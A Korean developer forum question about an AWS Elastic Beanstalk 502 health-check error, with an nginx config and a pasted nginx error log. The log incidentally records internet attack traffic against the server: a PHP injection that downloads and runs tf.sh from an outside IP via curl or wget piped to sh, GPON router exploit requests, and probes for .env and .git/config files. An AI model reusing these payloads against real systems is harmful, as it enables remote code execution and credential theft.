묻고 답해요
141만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결AWS Certified Cloud Practitioner 자격증 준비하기
Elastic Beanstalk 설정할 때 강의와 달라졌어요
강의대로 했는데, 이런 오류가 뜨고 그 뒤로 진행이 되지 않아요...
-
미해결
elasticbeanstalk healthcheck 오류 질문 (Target.FailedHealthChecks)
안녕하세요. 스프링 환경에서 elasticbeanstalk과 github actions를 활용해 CI / CD를 연습하고 있는 학생입니다. 프로젝트를 만든 다음 CI / CD를 하는 과정에서 에러가 생겨 간단한 프로젝트 파일을 다시 만든 뒤 (루트 페이지에 텍스트 뜨는) CI / CD 작업을 하고 있는데, 아래처럼 502 헬스 체크 에러가 뜨고 있는 문제가 발생하고 있습니다. 혹시 해당 오류를 해결하신 분이 있다면 도움 부탁드립니다..!작성한 nginx.conf 파일은 아래와 같습니다. 일단 5000번 포트를 쓰는 것 같아 upstream, proxy_pass를 5000으로 작성하였습니다. (그런데 각각 server 127.0.0.1:8080;, proxy_pass proxy_pass http://springboot;로 작성해도 결과는 같았습니다.)user nginx; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; worker_processes auto; worker_rlimit_nofile 33282; events { use epoll; worker_connections 1024; multi_accept on; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; include conf.d/*.conf; map $http_upgrade $connection_upgrade { default "upgrade"; } upstream springboot { server 127.0.0.1:5000; keepalive 1024; } server { listen 80 default_server; listen [::]:80 default_server; location / { proxy_pass http://127.0.0.1:5000; proxy_http_version 1.1; proxy_set_header Connection $connection_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } access_log /var/log/nginx/access.log main; client_max_body_size 10m; client_header_timeout 60; client_body_timeout 60; keepalive_timeout 60; server_tokens off; gzip on; gzip_comp_level 4; # Include the Elastic Beanstalk generated locations include conf.d/elasticbeanstalk/healthd.conf; } }SERVER_PORT를 다음과 같이 5000 포트로 적용했고elasticbeanstalk의 로드 밸런서도 아래와 같이 설정했습니다.타겟 그룹도 다음과 같이 설정하였습니다.nginx의 로그를 확인해보면 다음과 같았습니다.2023/04/11 18:43:24 [error] 24478#24478: *116 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("curl%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:43:24 [error] 24478#24478: *118 connect() failed (111: Connection refused) while connecting to upstream, client: 109.237.96.251, server: , request: "GET /?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php> HTTP/1.1", upstream: "http://127.0.0.1:8080/?a=fetch&content=<php>die(shell_exec("wget%20-q%20-O%20-%20194.38.20.225/tf.sh|sh"))</php>", host: "3.35.18.161:80" 2023/04/11 18:44:23 [error] 24478#24478: *120 connect() failed (111: Connection refused) while connecting to upstream, client: 223.152.72.163, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "year" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "month" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "day" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:44:24 [warn] 24478#24478: *120 using uninitialized "hour" variable while logging request, client: 223.152.72.163, server: , request: "/tmp/gpon80&ipv=0" 2023/04/11 18:47:23 [error] 24478#24478: *122 connect() failed (111: Connection refused) while connecting to upstream, client: 198.235.24.23, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 19:08:41 [error] 24478#24478: *124 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 19:59:39 [error] 24478#24478: *127 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 20:25:27 [error] 24478#24478: *129 connect() failed (111: Connection refused) while connecting to upstream, client: 3.140.248.91, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:8080/.git/config", host: "3.35.18.161" 2023/04/11 20:26:02 [error] 24478#24478: *131 connect() failed (111: Connection refused) while connecting to upstream, client: 34.77.127.183, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 20:42:18 [error] 24478#24478: *134 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "year" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "month" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "day" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:08:35 [warn] 24478#24478: *136 using uninitialized "hour" variable while logging request, client: 45.79.181.223, server: , request: "�…��¥¦v?ØwäÑaÞ¤ßtá’N”;Wâž—žNïþâ�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 21:16:22 [error] 24478#24478: *137 connect() failed (111: Connection refused) while connecting to upstream, client: 212.224.86.136, server: , request: "GET /sendgrid.env HTTP/1.1", upstream: "http://127.0.0.1:8080/sendgrid.env", host: "3.35.18.161" 2023/04/11 21:17:41 [error] 24478#24478: *139 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "year" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "month" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "day" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 21:28:33 [warn] 24478#24478: *141 using uninitialized "hour" variable while logging request, client: 89.248.165.83, server: , request: "��à����������" 2023/04/11 22:13:41 [error] 24478#24478: *143 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 22:13:42 [error] 24478#24478: *145 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/11 22:20:01 [error] 24478#24478: *147 connect() failed (111: Connection refused) while connecting to upstream, client: 194.55.224.203, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 22:35:51 [error] 24478#24478: *149 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 22:54:25 [warn] 24478#24478: *151 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��гðQvöå¡EÏÑs7r‚B4¹ð‰ÔȪ"�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/11 23:40:01 [error] 24478#24478: *154 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161:80" 2023/04/11 23:40:01 [error] 24478#24478: *156 connect() failed (111: Connection refused) while connecting to upstream, client: 167.94.138.35, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "year" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "month" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "day" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:40:02 [warn] 24478#24478: *158 using uninitialized "hour" variable while logging request, client: 167.94.138.35, server: , request: "PRI * HTTP/2.0" 2023/04/11 23:54:08 [error] 24478#24478: *159 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 00:00:18 [error] 24478#24478: *161 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "year" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "month" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "day" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:09:09 [warn] 24478#24478: *163 using uninitialized "hour" variable while logging request, client: 198.235.24.146, server: , request: "�Ê��ÆÈ\’¥¹D+Út¨†×-ÂúÄPFí7ËqÃkÖüùŸ��hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ" 2023/04/12 00:13:46 [error] 24478#24478: *164 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 00:13:47 [error] 24478#24478: *166 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:41:01 [error] 24478#24478: *169 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 00:46:12 [error] 24478#24478: *171 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 00:46:14 [error] 24478#24478: *173 connect() failed (111: Connection refused) while connecting to upstream, client: 185.254.196.173, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:12:57 [error] 24478#24478: *175 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 01:14:04 [error] 24478#24478: *177 connect() failed (111: Connection refused) while connecting to upstream, client: 193.32.162.159, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:07 [error] 24478#24478: *179 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 01:28:08 [error] 24478#24478: *181 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 02:21:44 [error] 24478#24478: *184 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.121, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:22:37 [error] 24478#24478: *186 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.109, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "3.35.18.161" 2023/04/12 02:23:17 [error] 24478#24478: *188 connect() failed (111: Connection refused) while connecting to upstream, client: 64.62.197.111, server: , request: "GET /geoserver/web/ HTTP/1.1", upstream: "http://127.0.0.1:8080/geoserver/web/", host: "3.35.18.161" 2023/04/12 02:32:40 [error] 24478#24478: *190 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 02:35:26 [error] 24478#24478: *192 connect() failed (111: Connection refused) while connecting to upstream, client: 120.85.116.175, server: , request: "POST /GponForm/diag_Form?images/ HTTP/1.1", upstream: "http://127.0.0.1:8080/GponForm/diag_Form?images/", host: "127.0.0.1:80" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "year" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "month" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "day" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:35:27 [warn] 24478#24478: *192 using uninitialized "hour" variable while logging request, client: 120.85.116.175, server: , request: "/tmp/gpon80&ipv=0" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "year" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "month" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "day" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:52:49 [warn] 24478#24478: *194 using uninitialized "hour" variable while logging request, client: 172.104.11.4, server: , request: "�…��–ÚÛÊQÙÿ¤>A\“yI" 2023/04/12 02:55:29 [error] 24478#24478: *195 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "POST / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "3.35.18.161" 2023/04/12 02:55:29 [error] 24478#24478: *197 connect() failed (111: Connection refused) while connecting to upstream, client: 135.125.246.110, server: , request: "GET /.env HTTP/1.1", upstream: "http://127.0.0.1:8080/.env", host: "3.35.18.161" 2023/04/12 03:52:37 [error] 24478#24478: *200 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80" 2023/04/12 03:56:49 [error] 24478#24478: *202 connect() failed (111: Connection refused) while connecting to upstream, client: 45.128.232.149, server: , request: "POST /boaform/admin/formLogin HTTP/1.1", upstream: "http://127.0.0.1:8080/boaform/admin/formLogin", host: "3.35.18.161:80", referrer: "http://3.35.18.161:80/admin/login.asp" 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "year" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "month" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "day" variable while logging request, client: 45.128.232.149, server: 2023/04/12 03:56:49 [warn] 24478#24478: *202 using uninitialized "hour" variable while logging request, client: 45.128.232.149, server: 2023/04/12 04:31:04 [error] 9297#9297: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 159.65.111.248, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/", host: "localhost:8080" 2023/04/12 04:35:15 [error] 9297#9297: *4 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:15 [error] 9297#9297: *6 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *8 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:30 [error] 9297#9297: *10 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *12 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:35:45 [error] 9297#9297: *14 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *16 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:00 [error] 9297#9297: *18 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *20 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:15 [error] 9297#9297: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:19 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com" 2023/04/12 04:36:23 [error] 9297#9297: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET /favicon.ico HTTP/1.1", upstream: "http://127.0.0.1:8080/favicon.ico", host: "deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com", referrer: "http://deploy-env.eba-qjgu9fpe.ap-northeast-2.elasticbeanstalk.com/" 2023/04/12 04:36:30 [error] 9297#9297: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:30 [error] 9297#9297: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:36:45 [error] 9297#9297: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.8.60, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:37:00 [error] 9297#9297: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 172.31.44.249, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:8080/", host: "172.31.2.9" 2023/04/12 04:38:11 [error] 9297#9297: *41 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.84.205, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:8080/" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "year" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "month" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "day" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 04:59:34 [warn] 18216#18216: *1 using uninitialized "hour" variable while logging request, client: 172.104.11.51, server: , request: "�…��“H½@à'í4S[¤hùõÍXêßr愯eÊyÌ9¹�� À/À0À+À,̨̩ÀÀ ÀÀ" 2023/04/12 05:12:56 [error] 18216#18216: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 43.154.8.109, server: , request: "HEAD /Core/Skin/Login.aspx HTTP/1.1", upstream: "http://127.0.0.1:8080/Core/Skin/Login.aspx", host: "3.35.18.161:80"